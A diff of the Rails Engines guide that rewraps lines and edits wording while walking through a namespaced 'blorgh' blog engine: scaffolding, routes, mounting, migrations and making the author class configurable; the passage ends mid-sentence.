+common functionality for the controllers of the engine. The `blorgh` directory
+is where the other controllers for the engine will go. By placing them within
+this namespaced directory, you prevent them from possibly clashing with
+identically-named controllers within other engines or even within the
+application.
+
+NOTE: The `ApplicationController` class inside an engine is named just like a
+Rails application in order to make it easier for you to convert your
+applications into engines.
+
+Lastly, the `app/views` directory contains a `layouts` folder, which contains a
+file at `blorgh/application.html.erb`. This file allows you to specify a layout
+for the engine. If this engine is to be used as a stand-alone engine, then you
+would add any customization to its layout in this file, rather than the
+application's `app/views/layouts/application.html.erb` file.
+
+If you don't want to force a layout on to users of the engine, then you can
+delete this file and reference a different layout in the controllers of your
+engine.
+
+#### `bin` Directory
+
+This directory contains one file, `bin/rails`, which enables you to use the
+`rails` sub-commands and generators just like you would within an application.
+This means that you will be able to generate new controllers and models for this
+engine very easily by running commands like this:
```bash
rails g model
```
-Keeping in mind, of course, that anything generated with these commands inside an engine that has `isolate_namespace` inside the `Engine` class will be namespaced.
+Keep in mind, of course, that anything generated with these commands inside of
+an engine that has `isolate_namespace` in the `Engine` class will be namespaced.
-#### `test` directory
+#### `test` Directory
-The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file:
+The `test` directory is where tests for the engine will go. To test the engine,
+there is a cut-down version of a Rails application embedded within it at
+`test/dummy`. This application will mount the engine in the
+`test/dummy/config/routes.rb` file:
```ruby
Rails.application.routes.draw do
@@ -169,18 +272,25 @@ Rails.application.routes.draw do
end
```
-This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path.
+This line mounts the engine at the path `/blorgh`, which will make it accessible
+through the application only at that path.
-In the test directory there is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory as well. For example, you may wish to create a `test/models` directory for your models tests.
+Inside the test directory there is the `test/integration` directory, where
+integration tests for the engine should be placed. Other directories can be
+created in the `test` directory as well. For example, you may wish to create a
+`test/models` directory for your model tests.
Providing engine functionality
------------------------------
-The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists.
+The engine that this guide covers provides posting and commenting functionality
+and follows a similar thread to the [Getting Started
+Guide](getting_started.html), with some new twists.
-### Generating a post resource
+### Generating a Post Resource
-The first thing to generate for a blog engine is the `Post` model and related controller. To quickly generate this, you can use the Rails scaffold generator.
+The first thing to generate for a blog engine is the `Post` model and related
+controller. To quickly generate this, you can use the Rails scaffold generator.
```bash
$ rails generate scaffold post title:string text:text
@@ -195,7 +305,8 @@ create app/models/blorgh/post.rb
invoke test_unit
create test/models/blorgh/post_test.rb
create test/fixtures/blorgh/posts.yml
- route resources :posts
+invoke resource_route
+ route resources :posts
invoke scaffold_controller
create app/controllers/blorgh/posts_controller.rb
invoke erb
@@ -220,11 +331,22 @@ invoke css
create app/assets/stylesheets/scaffold.css
```
-The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_posts` rather than the usual `create_posts`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due to the `isolate_namespace` call within the `Engine` class.
+The first thing that the scaffold generator does is invoke the `active_record`
+generator, which generates a migration and a model for the resource. Note here,
+however, that the migration is called `create_blorgh_posts` rather than the
+usual `create_posts`. This is due to the `isolate_namespace` method called in
+the `Blorgh::Engine` class's definition. The model here is also namespaced,
+being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due
+to the `isolate_namespace` call within the `Engine` class.
-Next, the `test_unit` generator is invoked for this model, generating a model test at `test/models/blorgh/post_test.rb` (rather than `test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` (rather than `test/fixtures/posts.yml`).
+Next, the `test_unit` generator is invoked for this model, generating a model
+test at `test/models/blorgh/post_test.rb` (rather than
+`test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml`
+(rather than `test/fixtures/posts.yml`).
-After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :posts`, turning the `config/routes.rb` file for the engine into this:
+After that, a line for the resource is inserted into the `config/routes.rb` file
+for the engine. This line is simply `resources :posts`, turning the
+`config/routes.rb` file for the engine into this:
```ruby
Blorgh::Engine.routes.draw do
@@ -232,12 +354,22 @@ Blorgh::Engine.routes.draw do
end
```
-Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. It also causes the engine's routes to be isolated from those routes that are within the application. The [Routes](#routes) section of
-this guide describes it in details.
+Note here that the routes are drawn upon the `Blorgh::Engine` object rather than
+the `YourApp::Application` class. This is so that the engine routes are confined
+to the engine itself and can be mounted at a specific point as shown in the
+[test directory](#test-directory) section. It also causes the engine's routes to
+be isolated from those routes that are within the application. The
+[Routes](#routes) section of this guide describes it in detail.
-Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a test for the controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`).
+Next, the `scaffold_controller` generator is invoked, generating a controller
+called `Blorgh::PostsController` (at
+`app/controllers/blorgh/posts_controller.rb`) and its related views at
+`app/views/blorgh/posts`. This generator also generates a test for the
+controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper
+(`app/helpers/blorgh/posts_controller.rb`).
-Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module:
+Everything this generator has created is neatly namespaced. The controller's
+class is defined within the `Blorgh` module:
```ruby
module Blorgh
@@ -247,7 +379,8 @@ module Blorgh
end
```
-NOTE: The `ApplicationController` class being inherited from here is the `Blorgh::ApplicationController`, not an application's `ApplicationController`.
+NOTE: The `ApplicationController` class being inherited from here is the
+`Blorgh::ApplicationController`, not an application's `ApplicationController`.
The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced:
@@ -259,38 +392,63 @@ module Blorgh
end
```
-This helps prevent conflicts with any other engine or application that may have a post resource as well.
+This helps prevent conflicts with any other engine or application that may have
+a post resource as well.
-Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little later.
+Finally, the assets for this resource are generated in two files:
+`app/assets/javascripts/blorgh/posts.js` and
+`app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little
+later.
-By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/layouts/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout:
+By default, the scaffold styling is not applied to the engine because the
+engine's layout file, `app/views/layouts/blorgh/application.html.erb`, doesn't
+load it. To make the scaffold styling apply, insert this line into the `<head>`
+tag of this layout:
```erb
<%= stylesheet_link_tag "scaffold" %>
```
-You can see what the engine has so far by running `rake db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/posts` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.
+You can see what the engine has so far by running `rake db:migrate` at the root
+of our engine to run the migration generated by the scaffold generator, and then
+running `rails server` in `test/dummy`. When you open
+`http://localhost:3000/blorgh/posts` you will see the default scaffold that has
+been generated. Click around! You've just generated your first engine's first
+functions.
-If you'd rather play around in the console, `rails console` will also work just like a Rails application. Remember: the `Post` model is namespaced, so to reference it you must call it as `Blorgh::Post`.
+If you'd rather play around in the console, `rails console` will also work just
+like a Rails application. Remember: the `Post` model is namespaced, so to
+reference it you must call it as `Blorgh::Post`.
```ruby
>> Blorgh::Post.find(1)
=> #<Blorgh::Post id: 1 ...>
```
-One final thing is that the `posts` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine:
+One final thing is that the `posts` resource for this engine should be the root
+of the engine. Whenever someone goes to the root path where the engine is
+mounted, they should be shown a list of posts. This can be made to happen if
+this line is inserted into the `config/routes.rb` file inside the engine:
```ruby
root to: "posts#index"
```
-Now people will only need to go to the root of the engine to see all the posts, rather than visiting `/posts`. This means that instead of `http://localhost:3000/blorgh/posts`, you only need to go to `http://localhost:3000/blorgh` now.
+Now people will only need to go to the root of the engine to see all the posts,
+rather than visiting `/posts`. This means that instead of
+`http://localhost:3000/blorgh/posts`, you only need to go to
+`http://localhost:3000/blorgh` now.
-### Generating a comments resource
+### Generating a Comments Resource
-Now that the engine can create new blog posts, it only makes sense to add commenting functionality as well. To do this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
+Now that the engine can create new blog posts, it only makes sense to add
+commenting functionality as well. To do this, you'll need to generate a comment
+model, a comment controller and then modify the posts scaffold to display
+comments and allow people to create new ones.
-Run the model generator and tell it to generate a `Comment` model, with the related table having two columns: a `post_id` integer and `text` text column.
+From the application root, run the model generator. Tell it to generate a
+`Comment` model, with the related table having two columns: a `post_id` integer
+and `text` text column.
```bash
$ rails generate model Comment post_id:integer text:text
@@ -307,20 +465,26 @@ create test/models/blorgh/comment_test.rb
create test/fixtures/blorgh/comments.yml
```
-This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`. Now run the migration to create our blorgh_comments table:
+This generator call will generate just the necessary model files it needs,
+namespacing the files under a `blorgh` directory and creating a model class
+called `Blorgh::Comment`. Now run the migration to create our blorgh_comments
+table:
```bash
$ rake db:migrate
```
-To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link:
+To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and
+add this line before the "Edit" link:
```html+erb
<h3>Comments</h3>
<%= render @post.comments %>
```
-This line will require there to be a `has_many` association for comments defined on the `Blorgh::Post` model, which there isn't right now. To define one, open `app/models/blorgh/post.rb` and add this line into the model:
+This line will require there to be a `has_many` association for comments defined
+on the `Blorgh::Post` model, which there isn't right now. To define one, open
+`app/models/blorgh/post.rb` and add this line into the model:
```ruby
has_many :comments
@@ -336,15 +500,22 @@ module Blorgh
end
```
-NOTE: Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here.
+NOTE: Because the `has_many` is defined inside a class that is inside the
+`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment`
+model for these objects, so there's no need to specify that using the
+`:class_name` option here.
-Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to `render @post.comments` in `app/views/blorgh/posts/show.html.erb`:
+Next, there needs to be a form so that comments can be created on a post. To add
+this, put this line underneath the call to `render @post.comments` in
+`app/views/blorgh/posts/show.html.erb`:
```erb
<%= render "blorgh/comments/form" %>
```
-Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial:
+Next, the partial that this line will render needs to exist. Create a new
+directory at `app/views/blorgh/comments` and in it a new file called
+`_form.html.erb` which has this content to create the required partial:
```html+erb
<h3>New comment</h3>
@@ -357,7 +528,10 @@ Next, the partial that this line will render needs to exist. Create a new direct
<% end %>
```
-When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/posts/:post_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :posts` line inside `config/routes.rb` into these lines:
+When this form is submitted, it is going to attempt to perform a `POST` request
+to a route of `/posts/:post_id/comments` within the engine. This route doesn't
+exist at the moment, but can be created by changing the `resources :posts` line
+inside `config/routes.rb` into these lines:
```ruby
resources :posts do
@@ -367,7 +541,8 @@ end
This creates a nested route for the comments, which is what the form requires.
-The route now exists, but the controller that this route goes to does not. To create it, run this command:
+The route now exists, but the controller that this route goes to does not. To
+create it, run this command from the application root:
```bash
$ rails g controller comments
@@ -392,7 +567,10 @@ invoke css
create app/assets/stylesheets/blorgh/comments.css
```
-The form will be making a `POST` request to `/posts/:post_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created and can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
+The form will be making a `POST` request to `/posts/:post_id/comments`, which
+will correspond with the `create` action in `Blorgh::CommentsController`. This
+action needs to be created, which can be done by putting the following lines
+inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
```ruby
def create
@@ -408,119 +586,182 @@ private
end
```
-This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
+This is the final step required to get the new comment form working. Displaying
+the comments, however, is not quite right yet. If you were to create a comment
+right now, you would see this error:
-```
-Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
- * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
- * "/Users/ryan/Sites/side_projects/blorgh/app/views"
+```
+Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder],
+:formats=>[:html], :locale=>[:en, :en]}. Searched in: *
+"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" *
+"/Users/ryan/Sites/side_projects/blorgh/app/views"
```
-The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/comment` because the model object it is receiving is from the `Blorgh::Comment` class.
+The engine is unable to find the partial required for rendering the comments.
+Rails looks first in the application's (`test/dummy`) `app/views` directory and
+then in the engine's `app/views` directory. When it can't find it, it will throw
+this error. The engine knows to look for `blorgh/comments/comment` because the
+model object it is receiving is from the `Blorgh::Comment` class.
-This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it:
+This partial will be responsible for rendering just the comment text, for now.
+Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this
+line inside it:
```erb
<%= comment_counter + 1 %>. <%= comment.text %>
```
-The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
+The `comment_counter` local variable is given to us by the `<%= render
+@post.comments %>` call, which will define it automatically and increment the
+counter as it iterates through each comment. It's used in this example to
+display a small number next to each comment when it's created.
-That completes the comment function of the blogging engine. Now it's time to use it within an application.
+That completes the comment function of the blogging engine. Now it's time to use
+it within an application.
-Hooking into an application
+Hooking Into an Application
---------------------------
-Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for posts and comments within the engine.
+Using an engine within an application is very easy. This section covers how to
+mount the engine into an application and the initial setup required, as well as
+linking the engine to a `User` class provided by the application to provide
+ownership for posts and comments within the engine.
-### Mounting the engine
+### Mounting the Engine
-First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this:
+First, the engine needs to be specified inside the application's `Gemfile`. If
+there isn't an application handy to test this out in, generate one using the
+`rails new` command outside of the engine directory like this:
```bash
$ rails new unicorn
```
-Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
+Usually, specifying the engine inside the Gemfile would be done by specifying it
+as a normal, everyday gem.
```ruby
gem 'devise'
```
-However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`:
+However, because you are developing the `blorgh` engine on your local machine,
+you will need to specify the `:path` option in your `Gemfile`:
```ruby
gem 'blorgh', path: "/path/to/blorgh"
```
-As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded, as it will first require `lib/blorgh.rb` in the engine and then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine.
+Then run `bundle` to install the gem.
+
+As described earlier, by placing the gem in the `Gemfile` it will be loaded when
+Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then
+`lib/blorgh/engine.rb`, which is the file that defines the major pieces of
+functionality for the engine.
-To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file:
+To make the engine's functionality accessible from within an application, it
+needs to be mounted in that application's `config/routes.rb` file:
```ruby
mount Blorgh::Engine, at: "/blog"
```
-This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `rails server`.
+This line will mount the engine at `/blog` in the application. Making it
+accessible at `http://localhost:3000/blog` when the application runs with `rails
+server`.
-NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as `devise_for` in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
+NOTE: Other engines, such as Devise, handle this a little differently by making
+you specify custom helpers (such as `devise_for`) in the routes. These helpers
+do exactly the same thing, mounting pieces of the engines's functionality at a
+pre-defined path which may be customizable.
### Engine setup
-The engine contains migrations for the `blorgh_posts` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
+The engine contains migrations for the `blorgh_posts` and `blorgh_comments`
+table which need to be created in the application's database so that the
+engine's models can query them correctly. To copy these migrations into the
+application use this command:
```bash
$ rake blorgh:install:migrations
```
-If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead:
+If you have multiple engines that need migrations copied over, use
+`railties:install:migrations` instead:
```bash
$ rake railties:install:migrations
```
-This command, when run for the first time, will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:
+This command, when run for the first time, will copy over all the migrations
+from the engine. When run the next time, it will only copy over migrations that
+haven't been copied over already. The first run for this command will output
+something such as this:
```bash
Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
```
-The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
+The first timestamp (`[timestamp_1]`) will be the current time, and the second
+timestamp (`[timestamp_2]`) will be the current time plus a second. The reason
+for this is so that the migrations for the engine are run after any existing
+migrations in the application.
-To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.
+To run these migrations within the context of the application, simply run `rake
+db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the
+posts will be empty. This is because the table created inside the application is
+different from the one created within the engine. Go ahead, play around with the
+newly mounted engine. You'll find that it's the same as when it was only an
+engine.
-If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`:
+If you would like to run migrations only from one engine, you can do it by
+specifying `SCOPE`:
```bash
rake db:migrate SCOPE=blorgh
```
-This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code:
+This may be useful if you want to revert engine's migrations before removing it.
+To revert all migrations from blorgh engine you can run code such as:
```bash
rake db:migrate SCOPE=blorgh VERSION=0
```
-### Using a class provided by the application
+### Using a Class Provided by the Application
-#### Using a model provided by the application
+#### Using a Model Provided by the Application
-When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making posts and comments have authors would make a lot of sense.
+When an engine is created, it may want to use specific classes from an
+application to provide links between the pieces of the engine and the pieces of
+the application. In the case of the `blorgh` engine, making posts and comments
+have authors would make a lot of sense.
-A typical application might have a `User` class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class.
+A typical application might have a `User` class that would be used to represent
+authors for a post or a comment. But there could be a case where the application
+calls this class something different, such as `Person`. For this reason, the
+engine should not hardcode associations specifically for a `User` class.
-To keep it simple in this case, the application will have a class called `User` which will represent the users of the application. It can be generated using this command inside the application:
+To keep it simple in this case, the application will have a class called `User`
+that represents the users of the application. It can be generated using this
+command inside the application:
```bash
rails g model user name:string
```
-The `rake db:migrate` command needs to be run here to ensure that our application has the `users` table for future use.
+The `rake db:migrate` command needs to be run here to ensure that our
+application has the `users` table for future use.
-Also, to keep it simple, the posts form will have a new text field called `author_name` where users can elect to put their name. The engine will then take this name and create a new `User` object from it or find one that already has that name, and then associate the post with it.
+Also, to keep it simple, the posts form will have a new text field called
+`author_name`, where users can elect to put their name. The engine will then
+take this name and either create a new `User` object from it, or find one that
+already has that name. The engine will then associate the post with the found or
+created `User` object.
-First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code:
+First, the `author_name` text field needs to be added to the
+`app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be
+added above the `title` field with this code:
```html+erb
<div class="field">
@@ -529,7 +770,8 @@ First, the `author_name` text field needs to be added to the `app/views/blorgh/p
</div>
```
-Next, we need to update our `Blorgh::PostController#post_params` method to permit the new form parameter:
+Next, we need to update our `Blorgh::PostController#post_params` method to
+permit the new form parameter:
```ruby
def post_params
@@ -537,9 +779,15 @@ def post_params
end
```
-The `Blorgh::Post` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that post's `author` before the post is saved. It will also need to have an `attr_accessor` setup for this field so that the setter and getter methods are defined for it.
+The `Blorgh::Post` model should then have some code to convert the `author_name`
+field into an actual `User` object and associate it as that post's `author`
+before the post is saved. It will also need to have an `attr_accessor` set up
+for this field, so that the setter and getter methods are defined for it.
-To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_save` call into `app/models/blorgh/post.rb`. The `author` association will be hard-coded to the `User` class for the time being.
+To do all this, you'll need to add the `attr_accessor` for `author_name`, the
+association for the author and the `before_save` call into
+`app/models/blorgh/post.rb`. The `author` association will be hard-coded to the
+`User` class for the time being.
```ruby
attr_accessor :author_name
@@ -553,7 +801,11 @@ private
end
```
-By defining that the `author` association's object is represented by the `User` class a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_posts` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_posts` table.
+By representing the `author` association's object with the `User` class, a link
+is established between the engine and the application. There needs to be a way
+of associating the records in the `blorgh_posts` table with the records in the
+`users` table. Because the association is called `author`, there should be an
+`author_id` column added to the `blorgh_posts` table.
To generate this new column, run this command within the engine:
@@ -561,31 +813,41 @@ To generate this new column, run this command within the engine:
$ rails g migration add_author_id_to_blorgh_posts author_id:integer
```
-NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.
+NOTE: Due to the migration's name and the column specification after it, Rails
+will automatically know that you want to add a column to a specific table and
+write that into the migration for you. You don't need to tell it any more than
+this.
-This migration will need to be run on the application. To do that, it must first be copied using this command:
+This migration will need to be run on the application. To do that, it must first
+be copied using this command:
```bash
$ rake blorgh:install:migrations
```
-Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run.
+Notice that only _one_ migration was copied over here. This is because the first
+two migrations were copied over the first time this command was run.
-```
-NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists.
-NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists.
-Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
+```
+NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been
+skipped. Migration with the same name already exists. NOTE Migration
+[timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration
+with the same name already exists. Copied migration
+[timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
```
-Run this migration using this command:
+Run the migration using:
```bash
$ rake db:migrate
```
-Now with all the pieces in place, an action will take place that will associate an author - represented by a record in the `users` table - with a post, represented by the `blorgh_posts` table from the engine.
+Now with all the pieces in place, an action will take place that will associate
+an author - represented by a record in the `users` table - with a post,
+represented by the `blorgh_posts` table from the engine.
-Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`:
+Finally, the author's name should be displayed on the post's page. Add this code
+above the "Title" output inside `app/views/blorgh/posts/show.html.erb`:
```html+erb
<p>
@@ -594,13 +856,15 @@ Finally, the author's name should be displayed on the post's page. Add this code
</p>
```
-By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly:
+By outputting `@post.author` using the `<%=` tag, the `to_s` method will be
+called on the object. By default, this will look quite ugly:
```
#<User:0x00000100ccb3b0>
```
-This is undesirable and it would be much better to have the user's name there. To do this, add a `to_s` method to the `User` class within the application:
+This is undesirable. It would be much better to have the user's name there. To
+do this, add a `to_s` method to the `User` class within the application:
```ruby
def to_s
@@ -608,50 +872,77 @@ def to_s
end
```
-Now instead of the ugly Ruby object output the author's name will be displayed.
+Now instead of the ugly Ruby object output, the author's name will be displayed.
-#### Using a controller provided by the application
+#### Using a Controller Provided by the Application
-Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from `ApplicationController`. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers should access methods in the main application's `ApplicationController`. An easy way to provide this access is to change the engine's scoped `ApplicationController` to inherit from the main application's `ApplicationController`. For our Blorgh engine this would be done by changing `app/controllers/blorgh/application_controller.rb` to look like:
+Because Rails controllers generally share code for things like authentication
+and accessing session variables, they inherit from `ApplicationController` by
+default. Rails engines, however are scoped to run independently from the main
+application, so each engine gets a scoped `ApplicationController`. This
+namespace prevents code collisions, but often engine controllers need to access
+methods in the main application's `ApplicationController`. An easy way to
+provide this access is to change the engine's scoped `ApplicationController` to
+inherit from the main application's `ApplicationController`. For our Blorgh
+engine this would be done by changing
+`app/controllers/blorgh/application_controller.rb` to look like:
```ruby
class Blorgh::ApplicationController < ApplicationController
end
```
-By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main applications `ApplicationController` as though they were part of the main application.
+By default, the engine's controllers inherit from
+`Blorgh::ApplicationController`. So, after making this change they will have
+access to the main application's `ApplicationController`, as though they were
+part of the main application.
-This change does require that the engine is run from a Rails application that has an `ApplicationController`.
+This change does require that the engine is run from a Rails application that
+has an `ApplicationController`.
-### Configuring an engine
+### Configuring an Engine
-This section covers how to make the `User` class configurable, followed by general configuration tips for the engine.
+This section covers how to make the `User` class configurable, followed by
+general configuration tips for the engine.
-#### Setting configuration settings in the application
+#### Setting Configuration Settings in the Application
-The next step is to make the class that represents a `User` in the application customizable for the engine. This is because, as explained before, that class may not always be `User`. To make this customizable, the engine will have a configuration setting called `author_class` that will be used to specify what the class representing users is inside the application.
+The next step is to make the class that represents a `User` in the application
+customizable for the engine. This is because that class may not always be
+`User`, as previously explained. To make this setting customizable, the engine
+will have a configuration setting called `author_class` that will be used to
+specify which class represents users inside the application.
-To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine, located at `lib/blorgh.rb` inside the engine. Inside this module, put this line:
+To define this configuration setting, you should use a `mattr_accessor` inside
+the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the
+engine:
```ruby
mattr_accessor :author_class
```
-This method works like its brothers `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.author_class`.
+This method works like its brothers, `attr_accessor` and `cattr_accessor`, but
+provides a setter and getter method on the module with the specified name. To
+use it, it must be referenced using `Blorgh.author_class`.
-The next step is switching the `Blorgh::Post` model over to this new setting. For the `belongs_to` association inside this model (`app/models/blorgh/post.rb`), it will now become this:
+The next step is to switch the `Blorgh::Post` model over to this new setting.
+Change the `belongs_to` association inside this model
+(`app/models/blorgh/post.rb`) to this:
```ruby
belongs_to :author, class_name: Blorgh.author_class
```
-The `set_author` method also located in this class should also use this class:
+The `set_author` method in the `Blorgh::Post` model should also use this class:
```ruby
self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
```
-To save having to call `constantize` on the `author_class` result all the time, you could instead just override the `author_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result:
+To save having to call `constantize` on the `author_class` result all the time,
+you could instead just override the `author_class` getter method inside the
+`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the
+saved value before returning the result:
```ruby
def self.author_class
@@ -665,82 +956,124 @@ This would then turn the above code for `set_author` into this:
self.author = Blorgh.author_class.find_or_create_by(name: author_name)
```
-Resulting in something a little shorter, and more implicit in its behavior. The `author_class` method should always return a `Class` object.
+Resulting in something a little shorter, and more implicit in its behavior. The
+`author_class` method should always return a `Class` object.
-Since we changed the `author_class` method to no longer return a
-`String` but a `Class` we must also modify our `belongs_to` definition
-in the `Blorgh::Post` model:
+Since we changed the `author_class` method to return a `Class` instead of a
+`String`, we must also modify our `belongs_to` definition in the `Blorgh::Post`
+model:
```ruby
belongs_to :author, class_name: Blorgh.author_class.to_s
```
-To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing.
+To set this configuration setting within the application, an initializer should
+be used. By using an initializer, the configuration will be set up before the
+application starts and calls the engine's models, which may depend on this
+configuration setting existing.
-Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it:
+Create a new initializer at `config/initializers/blorgh.rb` inside the
+application where the `blorgh` engine is installed and put this content in it:
```ruby
Blorgh.author_class = "User"
```
-WARNING: It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on.
+WARNING: It's very important here to use the `String` version of the class,
+rather than the class itself. If you were to use the class, Rails would attempt
